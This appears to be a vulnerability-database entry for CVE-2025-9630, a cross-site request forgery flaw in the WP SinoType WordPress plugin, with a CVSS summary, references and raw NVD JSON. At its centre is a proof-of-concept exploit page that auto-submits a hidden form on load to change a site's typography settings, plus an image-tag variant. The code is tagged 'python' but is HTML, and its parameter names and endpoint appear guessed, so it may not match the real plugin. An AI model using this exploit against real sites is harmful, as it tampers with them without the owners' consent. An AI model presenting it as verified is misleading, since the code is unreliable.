CVE-2025-9630

Description

The WP SinoType plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the sinotype_config function. This makes it possible for unauthenticated attackers to modify typography settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP SinoType ≤ 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-9630 PoC: CSRF exploit for WP SinoType WordPress Plugin -->
<!-- This PoC demonstrates how an unauthenticated attacker can modify typography settings -->
<!-- by tricking an authenticated admin into visiting a malicious page -->

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Loading...</title>
</head>
<body>
    <!-- Hidden iframe to auto-submit the CSRF request -->
    <iframe name="hidden_iframe" style="display:none;"></iframe>

    <!-- CSRF form targeting the sinotype_config function -->
    <!-- The action URL should point to the target WordPress site's admin-ajax.php or the plugin's config handler -->
    <form id="csrf_form"
          action="http://target-wordpress-site.com/wp-admin/admin.php?page=sinotype"
          method="POST"
          target="hidden_iframe">

        <!-- Malicious typography configuration parameters -->
        <!-- These parameters modify the site's font settings without admin consent -->
        <input type="hidden" name="sinotype_action" value="save_config" />
        <input type="hidden" name="sinotype_font_family" value="'Malicious Font', sans-serif" />
        <input type="hidden" name="sinotype_font_size" value="999px" />
        <input type="hidden" name="sinotype_font_color" value="#FF0000" />
        <input type="hidden" name="sinotype_font_weight" value="900" />
        <input type="hidden" name="sinotype_line_height" value="0" />
        <input type="hidden" name="sinotype_letter_spacing" value="999em" />
        <input type="hidden" name="submit" value="Save Changes" />
    </form>

    <script>
        // Auto-submit the form when the page loads
        // The admin's browser will automatically include authentication cookies
        document.getElementById('csrf_form').submit();
    </script>

    <!-- Alternative: Image-based CSRF (GET method variant) -->
    <!--
    <img src="http://target-wordpress-site.com/wp-admin/admin.php?page=sinotype&sinotype_action=save_config&sinotype_font_size=999px" style="display:none;" />
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9630
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9630
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9630/
[4] VulDB https://vuldb.com/cve/CVE-2025-9630
[5] https://plugins.trac.wordpress.org/browser/wp-sinotype/trunk/sinotype.php#L161
[6] https://plugins.trac.wordpress.org/browser/wp-sinotype/trunk/sinotype.php#L65
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/b02198f5-10df-4c4c-beed-aec8acacaec9?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9630", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:48.743", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP SinoType plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0. This is due to missing or incorrect nonce validation on the sinotype_config function. This makes it possible for unauthenticated attackers to modify typography settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-sinotype/trunk/sinotype.php#L161", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-sinotype/trunk/sinotype.php#L65", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b02198f5-10df-4c4c-beed-aec8acacaec9?source=cve", "source": "[email protected]"}]}}